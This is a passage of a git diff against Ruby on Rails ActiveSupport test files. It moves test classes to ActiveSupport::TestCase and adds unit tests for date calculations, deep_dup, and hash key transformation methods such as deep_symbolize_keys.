-    assert_no_match(/\n/, ActiveSupport::Base64.encode64s("oneverylongstringthatwouldnormallybesplitupbynewlinesbytheregularbase64"))
-  end
-end
diff --git a/activesupport/test/core_ext/bigdecimal_test.rb b/activesupport/test/core_ext/bigdecimal_test.rb
index b38e08a9f4..a5987044b9 100644
--- a/activesupport/test/core_ext/bigdecimal_test.rb
+++ b/activesupport/test/core_ext/bigdecimal_test.rb
@@ -2,7 +2,7 @@ require 'abstract_unit'
 require 'bigdecimal'
 require 'active_support/core_ext/big_decimal'
 
-class BigDecimalTest < Test::Unit::TestCase
+class BigDecimalTest < ActiveSupport::TestCase
   def test_to_yaml
     assert_match("--- 100000.30020320320000000000000000000000000000001\n", BigDecimal.new('100000.30020320320000000000000000000000000000001').to_yaml)
     assert_match("--- .Inf\n",  BigDecimal.new('Infinity').to_yaml)
@@ -14,4 +14,9 @@ class BigDecimalTest < Test::Unit::TestCase
     bd = BigDecimal.new '10'
     assert_equal bd, bd.to_d
   end
+  
+  def test_to_s
+    bd = BigDecimal.new '0.01'
+    assert_equal '0.01', bd.to_s
+  end
 end
diff --git a/activesupport/test/core_ext/blank_test.rb b/activesupport/test/core_ext/blank_test.rb
index a2cf298905..a68c074777 100644
--- a/activesupport/test/core_ext/blank_test.rb
+++ b/activesupport/test/core_ext/blank_test.rb
@@ -3,7 +3,7 @@
 require 'abstract_unit'
 require 'active_support/core_ext/object/blank'
 
-class BlankTest < Test::Unit::TestCase
+class BlankTest < ActiveSupport::TestCase
   BLANK = [ EmptyTrue.new, nil, false, '', '   ', "  \n\t  \r ", '　', [], {} ]
   NOT   = [ EmptyFalse.new, Object.new, true, 0, 1, 'a', [nil], { nil => 0 } ]
 
diff --git a/activesupport/test/core_ext/class/attribute_accessor_test.rb b/activesupport/test/core_ext/class/attribute_accessor_test.rb
index 6b50f8db37..8d827f054e 100644
--- a/activesupport/test/core_ext/class/attribute_accessor_test.rb
+++ b/activesupport/test/core_ext/class/attribute_accessor_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/core_ext/class/attribute_accessors'
 
-class ClassAttributeAccessorTest < Test::Unit::TestCase
+class ClassAttributeAccessorTest < ActiveSupport::TestCase
   def setup
     @class = Class.new do
       cattr_accessor :foo
@@ -42,4 +42,18 @@ class ClassAttributeAccessorTest < Test::Unit::TestCase
     assert !@object.respond_to?(:camp)
     assert !@object.respond_to?(:camp=)
   end
+
+  def test_should_raise_name_error_if_attribute_name_is_invalid
+    assert_raises NameError do
+      Class.new do
+        cattr_reader "invalid attribute name"
+      end
+    end
+
+    assert_raises NameError do
+      Class.new do
+        cattr_writer "invalid attribute name"
+      end
+    end
+  end
 end
diff --git a/activesupport/test/core_ext/class/attribute_test.rb b/activesupport/test/core_ext/class/attribute_test.rb
index e290a6e012..1c3ba8a7a0 100644
--- a/activesupport/test/core_ext/class/attribute_test.rb
+++ b/activesupport/test/core_ext/class/attribute_test.rb
@@ -66,6 +66,13 @@ class ClassAttributeTest < ActiveSupport::TestCase
     assert_raise(NoMethodError) { object.setting? }
   end
 
+  test 'disabling both instance writer and reader' do
+    object = Class.new { class_attribute :setting, :instance_accessor => false }.new
+    assert_raise(NoMethodError) { object.setting }
+    assert_raise(NoMethodError) { object.setting? }
+    assert_raise(NoMethodError) { object.setting = 'boom' }
+  end
+
   test 'works well with singleton classes' do
     object = @klass.new
     object.singleton_class.setting = 'foo'
diff --git a/activesupport/test/core_ext/class/delegating_attributes_test.rb b/activesupport/test/core_ext/class/delegating_attributes_test.rb
index cbfb290c48..148f82946c 100644
--- a/activesupport/test/core_ext/class/delegating_attributes_test.rb
+++ b/activesupport/test/core_ext/class/delegating_attributes_test.rb
@@ -20,7 +20,7 @@ module DelegatingFixtures
   end
 end
 
-class DelegatingAttributesTest < Test::Unit::TestCase
+class DelegatingAttributesTest < ActiveSupport::TestCase
   include DelegatingFixtures
   attr_reader :single_class
 
diff --git a/activesupport/test/core_ext/class_test.rb b/activesupport/test/core_ext/class_test.rb
index 60ba3b8f88..9c6c579ef7 100644
--- a/activesupport/test/core_ext/class_test.rb
+++ b/activesupport/test/core_ext/class_test.rb
@@ -2,7 +2,7 @@ require 'abstract_unit'
 require 'active_support/core_ext/class'
 require 'set'
 
-class ClassTest < Test::Unit::TestCase
+class ClassTest < ActiveSupport::TestCase
   class Parent; end
   class Foo < Parent; end
   class Bar < Foo; end
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
index b4f848cd44..088b74a29a 100644
--- a/activesupport/test/core_ext/date_ext_test.rb
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -57,6 +57,16 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Date.new(2005,11,28), Date.new(2005,12,04).beginning_of_week #sunday
   end
 
+  def test_monday
+    assert_equal Date.new(2005,11,28), Date.new(2005,11,28).monday
+    assert_equal Date.new(2005,11,28), Date.new(2005,12,01).monday
+  end
+
+  def test_sunday
+    assert_equal Date.new(2008,3,2), Date.new(2008,3,02).sunday
+    assert_equal Date.new(2008,3,2), Date.new(2008,2,29).sunday
+  end
+
   def test_beginning_of_week_in_calendar_reform
     assert_equal Date.new(1582,10,1), Date.new(1582,10,15).beginning_of_week #friday
   end
@@ -165,6 +175,18 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Date.new(1582,10,4), Date.new(1583,10,14).prev_year
   end
 
+  def test_last_year
+    assert_equal Date.new(2004,6,5),  Date.new(2005,6,5).last_year
+  end
+
+  def test_last_year_in_leap_years
+    assert_equal Date.new(1999,2,28), Date.new(2000,2,29).last_year
+  end
+
+  def test_last_year_in_calendar_reform
+    assert_equal Date.new(1582,10,4), Date.new(1583,10,14).last_year
+  end
+
   def test_next_year
     assert_equal Date.new(2006,6,5), Date.new(2005,6,5).next_year
   end
@@ -235,6 +257,14 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Date.new(2010,2,27), Date.new(2010,3,4).prev_week(:saturday)
   end
 
+  def test_last_week
+    assert_equal Date.new(2005,5,9), Date.new(2005,5,17).last_week
+    assert_equal Date.new(2006,12,25), Date.new(2007,1,7).last_week
+    assert_equal Date.new(2010,2,12), Date.new(2010,2,19).last_week(:friday)
+    assert_equal Date.new(2010,2,13), Date.new(2010,2,19).last_week(:saturday)
+    assert_equal Date.new(2010,2,27), Date.new(2010,3,4).last_week(:saturday)
+  end
+
   def test_next_week
     assert_equal Date.new(2005,2,28), Date.new(2005,2,22).next_week
     assert_equal Date.new(2005,3,4), Date.new(2005,2,22).next_week(:friday)
@@ -255,6 +285,22 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Date.new(2004, 2, 29), Date.new(2004, 3, 31).prev_month
   end
 
+  def test_last_month_on_31st
+    assert_equal Date.new(2004, 2, 29), Date.new(2004, 3, 31).last_month
+  end
+
+  def test_next_quarter_on_31st
+    assert_equal Date.new(2005, 11, 30), Date.new(2005, 8, 31).next_quarter
+  end
+
+  def test_prev_quarter_on_31st
+    assert_equal Date.new(2004, 2, 29), Date.new(2004, 5, 31).prev_quarter
+  end
+
+  def test_last_quarter_on_31st
+    assert_equal Date.new(2004, 2, 29), Date.new(2004, 5, 31).last_quarter
+  end
+
   def test_yesterday_constructor
     assert_equal Date.current - 1, Date.yesterday
   end
@@ -340,14 +386,14 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
   end
 
   def test_end_of_day
-    assert_equal Time.local(2005,2,21,23,59,59,999999.999), Date.new(2005,2,21).end_of_day
+    assert_equal Time.local(2005,2,21,23,59,59,Rational(999999999, 1000)), Date.new(2005,2,21).end_of_day
   end
 
   def test_end_of_day_when_zone_is_set
     zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
     with_env_tz 'UTC' do
       with_tz_default zone do
-        assert_equal zone.local(2005,2,21,23,59,59,999999.999), Date.new(2005,2,21).end_of_day
+        assert_equal zone.local(2005,2,21,23,59,59,Rational(999999999, 1000)), Date.new(2005,2,21).end_of_day
         assert_equal zone, Date.new(2005,2,21).end_of_day.time_zone
       end
     end
@@ -374,16 +420,6 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
     end
   end
 
-  if RUBY_VERSION < '1.9'
-    def test_rfc3339
-      assert_equal('1980-02-28', Date.new(1980, 2, 28).rfc3339)
-    end
-
-    def test_iso8601
-      assert_equal('1980-02-28', Date.new(1980, 2, 28).iso8601)
-    end
-  end
-
   def test_today
     Date.stubs(:current).returns(Date.new(2000, 1, 1))
     assert_equal false, Date.new(1999, 12, 31).today?
@@ -444,7 +480,7 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
     end
 end
 
-class DateExtBehaviorTest < Test::Unit::TestCase
+class DateExtBehaviorTest < ActiveSupport::TestCase
   def test_date_acts_like_date
     assert Date.new.acts_like_date?
   end
diff --git a/activesupport/test/core_ext/date_time_ext_test.rb b/activesupport/test/core_ext/date_time_ext_test.rb
index 9be28272f7..21b7efdc73 100644
--- a/activesupport/test/core_ext/date_time_ext_test.rb
+++ b/activesupport/test/core_ext/date_time_ext_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/time'
 
-class DateTimeExtCalculationsTest < Test::Unit::TestCase
+class DateTimeExtCalculationsTest < ActiveSupport::TestCase
   def test_to_s
     datetime = DateTime.new(2005, 2, 21, 14, 30, 0, 0)
     assert_equal "2005-02-21 14:30:00",               datetime.to_s(:db)
@@ -43,8 +43,8 @@ class DateTimeExtCalculationsTest < Test::Unit::TestCase
   end
 
   def test_civil_from_format
-    assert_equal DateTime.civil(2010, 5, 4, 0, 0, 0, DateTime.local_offset), DateTime.civil_from_format(:local, 2010, 5, 4)
-    assert_equal DateTime.civil(2010, 5, 4, 0, 0, 0, 0), DateTime.civil_from_format(:utc, 2010, 5, 4)
+    assert_equal Time.local(2010, 5, 4, 0, 0, 0), DateTime.civil_from_format(:local, 2010, 5, 4)
+    assert_equal Time.utc(2010, 5, 4, 0, 0, 0), DateTime.civil_from_format(:utc, 2010, 5, 4)
   end
 
   def test_seconds_since_midnight
@@ -54,6 +54,24 @@ class DateTimeExtCalculationsTest < Test::Unit::TestCase
     assert_equal 86399,DateTime.civil(2005,1,1,23,59,59).seconds_since_midnight
   end
 
+  def test_days_to_week_start
+    assert_equal 0, Time.local(2011,11,01,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 1, Time.local(2011,11,02,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 2, Time.local(2011,11,03,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 3, Time.local(2011,11,04,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 4, Time.local(2011,11,05,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 5, Time.local(2011,11,06,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 6, Time.local(2011,11,07,0,0,0).days_to_week_start(:tuesday)
+
+    assert_equal 3, Time.local(2011,11,03,0,0,0).days_to_week_start(:monday)
+    assert_equal 3, Time.local(2011,11,04,0,0,0).days_to_week_start(:tuesday)
+    assert_equal 3, Time.local(2011,11,05,0,0,0).days_to_week_start(:wednesday)
+    assert_equal 3, Time.local(2011,11,06,0,0,0).days_to_week_start(:thursday)
+    assert_equal 3, Time.local(2011,11,07,0,0,0).days_to_week_start(:friday)
+    assert_equal 3, Time.local(2011,11,8,0,0,0).days_to_week_start(:saturday)
+    assert_equal 3, Time.local(2011,11,9,0,0,0).days_to_week_start(:sunday)
+  end
+
   def test_beginning_of_week
     assert_equal DateTime.civil(2005,1,31), DateTime.civil(2005,2,4,10,10,10).beginning_of_week
     assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,11,28,0,0,0).beginning_of_week #monday
@@ -73,6 +91,14 @@ class DateTimeExtCalculationsTest < Test::Unit::TestCase
     assert_equal DateTime.civil(2005,2,4,23,59,59), DateTime.civil(2005,2,4,10,10,10).end_of_day
   end
 
+  def test_beginning_of_hour
+    assert_equal DateTime.civil(2005,2,4,19,0,0), DateTime.civil(2005,2,4,19,30,10).beginning_of_hour
+  end
+
+  def test_end_of_hour
+    assert_equal DateTime.civil(2005,2,4,19,59,59), DateTime.civil(2005,2,4,19,30,10).end_of_hour
+  end
+
   def test_beginning_of_month
     assert_equal DateTime.civil(2005,2,1,0,0,0), DateTime.civil(2005,2,22,10,10,10).beginning_of_month
   end
@@ -141,6 +167,10 @@ class DateTimeExtCalculationsTest < Test::Unit::TestCase
     assert_equal DateTime.civil(2004,6,5,10),  DateTime.civil(2005,6,5,10,0,0).prev_year
   end
 
+  def test_last_year
+    assert_equal DateTime.civil(2004,6,5,10),  DateTime.civil(2005,6,5,10,0,0).last_year
+  end
+
   def test_next_year
     assert_equal DateTime.civil(2006,6,5,10), DateTime.civil(2005,6,5,10,0,0).next_year
   end
@@ -214,6 +244,14 @@ class DateTimeExtCalculationsTest < Test::Unit::TestCase
     assert_equal DateTime.civil(2006,11,15), DateTime.civil(2006,11,23,0,0,0).prev_week(:wednesday)
   end
 
+  def test_last_week
+    assert_equal DateTime.civil(2005,2,21), DateTime.civil(2005,3,1,15,15,10).last_week
+    assert_equal DateTime.civil(2005,2,22), DateTime.civil(2005,3,1,15,15,10).last_week(:tuesday)
+    assert_equal DateTime.civil(2005,2,25), DateTime.civil(2005,3,1,15,15,10).last_week(:friday)
+    assert_equal DateTime.civil(2006,10,30), DateTime.civil(2006,11,6,0,0,0).last_week
+    assert_equal DateTime.civil(2006,11,15), DateTime.civil(2006,11,23,0,0,0).last_week(:wednesday)
+  end
+
   def test_next_week
     assert_equal DateTime.civil(2005,2,28), DateTime.civil(2005,2,22,15,15,10).next_week
     assert_equal DateTime.civil(2005,3,4), DateTime.civil(2005,2,22,15,15,10).next_week(:friday)
@@ -229,6 +267,22 @@ class DateTimeExtCalculationsTest < Test::Unit::TestCase
     assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 3, 31).prev_month
   end
 
+  def test_last_month_on_31st
+    assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 3, 31).last_month
+  end
+
+  def test_next_quarter_on_31st
+    assert_equal DateTime.civil(2005, 11, 30), DateTime.civil(2005, 8, 31).next_quarter
+  end
+
+  def test_prev_quarter_on_31st
+    assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 5, 31).prev_quarter
+  end
+
+  def test_last_quarter_on_31st
+    assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 5, 31).last_quarter
+  end
+
   def test_xmlschema
     assert_match(/^1880-02-28T15:15:10\+00:?00$/, DateTime.civil(1880, 2, 28, 15, 15, 10).xmlschema)
     assert_match(/^1980-02-28T15:15:10\+00:?00$/, DateTime.civil(1980, 2, 28, 15, 15, 10).xmlschema)
@@ -313,15 +367,6 @@ class DateTimeExtCalculationsTest < Test::Unit::TestCase
     assert DateTime.new.acts_like_time?
   end
 
-  def test_local_offset
-    with_env_tz 'US/Eastern' do
-      assert_equal Rational(-5, 24), DateTime.local_offset
-    end
-    with_env_tz 'US/Central' do
-      assert_equal Rational(-6, 24), DateTime.local_offset
-    end
-  end
-
   def test_utc?
     assert_equal true, DateTime.civil(2005, 2, 21, 10, 11, 12).utc?
     assert_equal true, DateTime.civil(2005, 2, 21, 10, 11, 12, 0).utc?
@@ -382,6 +427,7 @@ class DateTimeExtCalculationsTest < Test::Unit::TestCase
 
   def test_to_i
     assert_equal 946684800, DateTime.civil(2000).to_i
+    assert_equal 946684800, DateTime.civil(1999,12,31,19,0,0,Rational(-5,24)).to_i
   end
 
   protected
diff --git a/activesupport/test/core_ext/deep_dup_test.rb b/activesupport/test/core_ext/deep_dup_test.rb
new file mode 100644
index 0000000000..91d558dbb5
--- /dev/null
+++ b/activesupport/test/core_ext/deep_dup_test.rb
@@ -0,0 +1,53 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object'
+
+class DeepDupTest < ActiveSupport::TestCase
+
+  def test_array_deep_dup
+    array = [1, [2, 3]]
+    dup = array.deep_dup
+    dup[1][2] = 4
+    assert_equal nil, array[1][2]
+    assert_equal 4, dup[1][2]
+  end
+
+  def test_hash_deep_dup
+    hash = { :a => { :b => 'b' } }
+    dup = hash.deep_dup
+    dup[:a][:c] = 'c'
+    assert_equal nil, hash[:a][:c]
+    assert_equal 'c', dup[:a][:c]
+  end
+
+  def test_array_deep_dup_with_hash_inside
+    array = [1, { :a => 2, :b => 3 } ]
+    dup = array.deep_dup
+    dup[1][:c] = 4
+    assert_equal nil, array[1][:c]
+    assert_equal 4, dup[1][:c]
+  end
+
+  def test_hash_deep_dup_with_array_inside
+    hash = { :a => [1, 2] }
+    dup = hash.deep_dup
+    dup[:a][2] = 'c'
+    assert_equal nil, hash[:a][2]
+    assert_equal 'c', dup[:a][2]
+  end
+
+  def test_deep_dup_initialize
+    zero_hash = Hash.new 0
+    hash = { :a => zero_hash }
+    dup = hash.deep_dup
+    assert_equal 0, dup[:a][44]
+  end
+
+  def test_object_deep_dup
+    object = Object.new
+    dup = object.deep_dup
+    dup.instance_variable_set(:@a, 1)
+    assert !object.instance_variable_defined?(:@a)
+    assert dup.instance_variable_defined?(:@a)
+  end
+
+end
diff --git a/activesupport/test/core_ext/duplicable_test.rb b/activesupport/test/core_ext/duplicable_test.rb
index e48e6a7c45..e0566e012c 100644
--- a/activesupport/test/core_ext/duplicable_test.rb
+++ b/activesupport/test/core_ext/duplicable_test.rb
@@ -3,10 +3,18 @@ require 'bigdecimal'
 require 'active_support/core_ext/object/duplicable'
 require 'active_support/core_ext/numeric/time'
 
-class DuplicableTest < Test::Unit::TestCase
-  RAISE_DUP  = [nil, false, true, :symbol, 1, 2.3, BigDecimal.new('4.56'), 5.seconds]
-  YES = ['1', Object.new, /foo/, [], {}, Time.now]
-  NO = [Class.new, Module.new]
+class DuplicableTest < ActiveSupport::TestCase
+  RAISE_DUP  = [nil, false, true, :symbol, 1, 2.3, 5.seconds]
+  YES = ['1', Object.new, /foo/, [], {}, Time.now, Class.new, Module.new]
+  NO = []
+
+  begin
+    bd = BigDecimal.new('4.56')
+    YES << bd.dup
+  rescue TypeError
+    RAISE_DUP << bd
+  end
+
 
   def test_duplicable
     (RAISE_DUP + NO).each do |v|
@@ -14,7 +22,7 @@ class DuplicableTest < Test::Unit::TestCase
     end
 
     YES.each do |v|
-      assert v.duplicable?
+      assert v.duplicable?, "#{v.class} should be duplicable"
     end
 
     (YES + NO).each do |v|
@@ -22,7 +30,7 @@ class DuplicableTest < Test::Unit::TestCase
     end
 
     RAISE_DUP.each do |v|
-      assert_raises(TypeError) do
+      assert_raises(TypeError, v.class.name) do
         v.dup
       end
     end
diff --git a/activesupport/test/core_ext/enumerable_test.rb b/activesupport/test/core_ext/enumerable_test.rb
index cdfa991a34..0a1abac767 100644
--- a/activesupport/test/core_ext/enumerable_test.rb
+++ b/activesupport/test/core_ext/enumerable_test.rb
@@ -7,7 +7,7 @@ class SummablePayment < Payment
   def +(p) self.class.new(price + p.price) end
 end
 
-class EnumerableTests < Test::Unit::TestCase
+class EnumerableTests < ActiveSupport::TestCase
   Enumerator = [].each.class
 
   class GenericEnumerable
@@ -84,15 +84,11 @@ class EnumerableTests < Test::Unit::TestCase
     assert_equal 10, (1..4.5).sum
     assert_equal 6, (1...4).sum
     assert_equal 'abc', ('a'..'c').sum
-  end
-
-  def test_each_with_object
-    enum = GenericEnumerable.new(%w(foo bar))
-    result = enum.each_with_object({}) { |str, hsh| hsh[str] = str.upcase }
-    assert_equal({'foo' => 'FOO', 'bar' => 'BAR'}, result)
-    assert_equal Enumerator, enum.each_with_object({}).class
-    result2 = enum.each_with_object({}).each{|str, hsh| hsh[str] = str.upcase}
-    assert_equal result, result2
+    assert_equal 50_000_005_000_000, (0..10_000_000).sum
+    assert_equal 0, (10..0).sum
+    assert_equal 5, (10..0).sum(5)
+    assert_equal 10, (10..10).sum
+    assert_equal 42, (10...10).sum(42)
   end
 
   def test_index_by
diff --git a/activesupport/test/core_ext/file_test.rb b/activesupport/test/core_ext/file_test.rb
index e1258b872e..128e956a8c 100644
--- a/activesupport/test/core_ext/file_test.rb
+++ b/activesupport/test/core_ext/file_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/core_ext/file'
 
-class AtomicWriteTest < Test::Unit::TestCase
+class AtomicWriteTest < ActiveSupport::TestCase
   def test_atomic_write_without_errors
     contents = "Atomic Text"
     File.atomic_write(file_name, Dir.pwd) do |file|
@@ -30,7 +30,7 @@ class AtomicWriteTest < Test::Unit::TestCase
       assert File.exist?(file_name)
     end
     assert File.exist?(file_name)
-    assert_equal 0100755, file_mode
+    assert_equal 0100755 & ~File.umask, file_mode
     assert_equal contents, File.read(file_name)
 
     File.atomic_write(file_name, Dir.pwd) do |file|
@@ -38,7 +38,7 @@ class AtomicWriteTest < Test::Unit::TestCase
       assert File.exist?(file_name)
     end
     assert File.exist?(file_name)
-    assert_equal 0100755, file_mode
+    assert_equal 0100755 & ~File.umask, file_mode
     assert_equal contents, File.read(file_name)
   ensure
     File.unlink(file_name) rescue nil
@@ -51,16 +51,12 @@ class AtomicWriteTest < Test::Unit::TestCase
       assert !File.exist?(file_name)
     end
     assert File.exist?(file_name)
-    assert_equal 0100666 ^ File.umask, file_mode
+    assert_equal 0100666 & ~File.umask, file_mode
     assert_equal contents, File.read(file_name)
   ensure
     File.unlink(file_name) rescue nil
   end
 
-  def test_responds_to_to_path
-    assert_equal __FILE__, File.open(__FILE__, "r").to_path
-  end
-
   private
     def file_name
       "atomic.file"
diff --git a/activesupport/test/core_ext/float_ext_test.rb b/activesupport/test/core_ext/float_ext_test.rb
deleted file mode 100644
index ac7e7a8ed6..0000000000
--- a/activesupport/test/core_ext/float_ext_test.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/float/rounding'
-
-class FloatExtRoundingTests < Test::Unit::TestCase
-  def test_round_for_positive_number
-    assert_equal 1,    1.4.round
-    assert_equal 2,    1.6.round
-    assert_equal 2,    1.6.round(0)
-    assert_equal 1.4,  1.4.round(1)
-    assert_equal 1.4,  1.4.round(3)
-    assert_equal 1.5,  1.45.round(1)
-    assert_equal 1.45, 1.445.round(2)
-  end
-
-  def test_round_for_negative_number
-    assert_equal( -1,   -1.4.round )
-    assert_equal( -2,   -1.6.round )
-    assert_equal( -1.4, -1.4.round(1) )
-    assert_equal( -1.5, -1.45.round(1) )
-  end
-
-  def test_round_with_negative_precision
-    assert_equal 123460.0, 123456.0.round(-1)
-    assert_equal 123500.0, 123456.0.round(-2)
-  end
-end
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index fa800eada2..4dc9f57038 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -4,9 +4,10 @@ require 'bigdecimal'
 require 'active_support/core_ext/string/access'
 require 'active_support/ordered_hash'
 require 'active_support/core_ext/object/conversions'
+require 'active_support/core_ext/object/deep_dup'
 require 'active_support/inflections'
 
-class HashExtTest < Test::Unit::TestCase
+class HashExtTest < ActiveSupport::TestCase
   class IndifferentHash < HashWithIndifferentAccess
   end
 
@@ -24,60 +25,207 @@ class HashExtTest < Test::Unit::TestCase
 
   def setup
     @strings = { 'a' => 1, 'b' => 2 }
+    @nested_strings = { 'a' => { 'b' => { 'c' => 3 } } }
     @symbols = { :a  => 1, :b  => 2 }
+    @nested_symbols = { :a => { :b => { :c => 3 } } }
     @mixed   = { :a  => 1, 'b' => 2 }
+    @nested_mixed   = { 'a' => { :b => { 'c' => 3 } } }
     @fixnums = {  0  => 1,  1  => 2 }
-    if RUBY_VERSION < '1.9.0'
-      @illegal_symbols = { "\0" => 1, "" => 2, [] => 3 }
-    else
-      @illegal_symbols = { [] => 3 }
-    end
+    @nested_fixnums = {  0  => { 1  => { 2 => 3} } }
+    @illegal_symbols = { [] => 3 }
+    @nested_illegal_symbols = { [] => { [] => 3} }
+    @upcase_strings = { 'A' => 1, 'B' => 2 }
+    @nested_upcase_strings = { 'A' => { 'B' => { 'C' => 3 } } }
   end
 
   def test_methods
     h = {}
+    assert_respond_to h, :transform_keys
+    assert_respond_to h, :transform_keys!
+    assert_respond_to h, :deep_transform_keys
+    assert_respond_to h, :deep_transform_keys!
     assert_respond_to h, :symbolize_keys
     assert_respond_to h, :symbolize_keys!
+    assert_respond_to h, :deep_symbolize_keys
+    assert_respond_to h, :deep_symbolize_keys!
     assert_respond_to h, :stringify_keys
     assert_respond_to h, :stringify_keys!
+    assert_respond_to h, :deep_stringify_keys
+    assert_respond_to h, :deep_stringify_keys!
     assert_respond_to h, :to_options
     assert_respond_to h, :to_options!
   end
 
+  def test_transform_keys
+    assert_equal @upcase_strings, @strings.transform_keys{ |key| key.to_s.upcase }
+    assert_equal @upcase_strings, @symbols.transform_keys{ |key| key.to_s.upcase }
+    assert_equal @upcase_strings, @mixed.transform_keys{ |key| key.to_s.upcase }
+  end
+
+  def test_transform_keys_not_mutates
+    transformed_hash = @mixed.dup
+    transformed_hash.transform_keys{ |key| key.to_s.upcase }
+    assert_equal @mixed, transformed_hash
+  end
+
+  def test_deep_transform_keys
+    assert_equal @nested_upcase_strings, @nested_symbols.deep_transform_keys{ |key| key.to_s.upcase }
+    assert_equal @nested_upcase_strings, @nested_strings.deep_transform_keys{ |key| key.to_s.upcase }
+    assert_equal @nested_upcase_strings, @nested_mixed.deep_transform_keys{ |key| key.to_s.upcase }
+  end
+
+  def test_deep_transform_keys_not_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_transform_keys{ |key| key.to_s.upcase }
+    assert_equal @nested_mixed, transformed_hash
+  end
+
+  def test_transform_keys!
+    assert_equal @upcase_strings, @symbols.dup.transform_keys!{ |key| key.to_s.upcase }
+    assert_equal @upcase_strings, @strings.dup.transform_keys!{ |key| key.to_s.upcase }
+    assert_equal @upcase_strings, @mixed.dup.transform_keys!{ |key| key.to_s.upcase }
+  end
+
+  def test_transform_keys_with_bang_mutates
+    transformed_hash = @mixed.dup
+    transformed_hash.transform_keys!{ |key| key.to_s.upcase }
+    assert_equal @upcase_strings, transformed_hash
+    assert_equal @mixed, { :a => 1, "b" => 2 }
+  end
+
+  def test_deep_transform_keys!
+    assert_equal @nested_upcase_strings, @nested_symbols.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+    assert_equal @nested_upcase_strings, @nested_strings.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+    assert_equal @nested_upcase_strings, @nested_mixed.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+  end
+
+  def test_deep_transform_keys_with_bang_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_transform_keys!{ |key| key.to_s.upcase }
+    assert_equal @nested_upcase_strings, transformed_hash
+    assert_equal @nested_mixed, { 'a' => { :b => { 'c' => 3 } } }
+  end
+
   def test_symbolize_keys
     assert_equal @symbols, @symbols.symbolize_keys
     assert_equal @symbols, @strings.symbolize_keys
     assert_equal @symbols, @mixed.symbolize_keys
   end
 
+  def test_symbolize_keys_not_mutates
+    transformed_hash = @mixed.dup
+    transformed_hash.symbolize_keys
+    assert_equal @mixed, transformed_hash
+  end
+
+  def test_deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_symbols.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_strings.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_mixed.deep_symbolize_keys
+  end
+
+  def test_deep_symbolize_keys_not_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_symbolize_keys
+    assert_equal @nested_mixed, transformed_hash
+  end
+
   def test_symbolize_keys!
     assert_equal @symbols, @symbols.dup.symbolize_keys!
     assert_equal @symbols, @strings.dup.symbolize_keys!
     assert_equal @symbols, @mixed.dup.symbolize_keys!
   end
 
+  def test_symbolize_keys_with_bang_mutates
+    transformed_hash = @mixed.dup
+    transformed_hash.deep_symbolize_keys!
+    assert_equal @symbols, transformed_hash
+    assert_equal @mixed, { :a => 1, "b" => 2 }
+  end
+
+  def test_deep_symbolize_keys!
+    assert_equal @nested_symbols, @nested_symbols.deep_dup.deep_symbolize_keys!
+    assert_equal @nested_symbols, @nested_strings.deep_dup.deep_symbolize_keys!
+    assert_equal @nested_symbols, @nested_mixed.deep_dup.deep_symbolize_keys!
+  end
+
+  def test_deep_symbolize_keys_with_bang_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_symbolize_keys!
+    assert_equal @nested_symbols, transformed_hash
+    assert_equal @nested_mixed, { 'a' => { :b => { 'c' => 3 } } }
+  end
+
   def test_symbolize_keys_preserves_keys_that_cant_be_symbolized
     assert_equal @illegal_symbols, @illegal_symbols.symbolize_keys
     assert_equal @illegal_symbols, @illegal_symbols.dup.symbolize_keys!
   end
 
+  def test_deep_symbolize_keys_preserves_keys_that_cant_be_symbolized
+    assert_equal @nested_illegal_symbols, @nested_illegal_symbols.deep_symbolize_keys
+    assert_equal @nested_illegal_symbols, @nested_illegal_symbols.deep_dup.deep_symbolize_keys!
+  end
+
   def test_symbolize_keys_preserves_fixnum_keys
     assert_equal @fixnums, @fixnums.symbolize_keys
     assert_equal @fixnums, @fixnums.dup.symbolize_keys!
   end
 
+  def test_deep_symbolize_keys_preserves_fixnum_keys
+    assert_equal @nested_fixnums, @nested_fixnums.deep_symbolize_keys
+    assert_equal @nested_fixnums, @nested_fixnums.deep_dup.deep_symbolize_keys!
+  end
+
   def test_stringify_keys
     assert_equal @strings, @symbols.stringify_keys
     assert_equal @strings, @strings.stringify_keys
     assert_equal @strings, @mixed.stringify_keys
   end
 
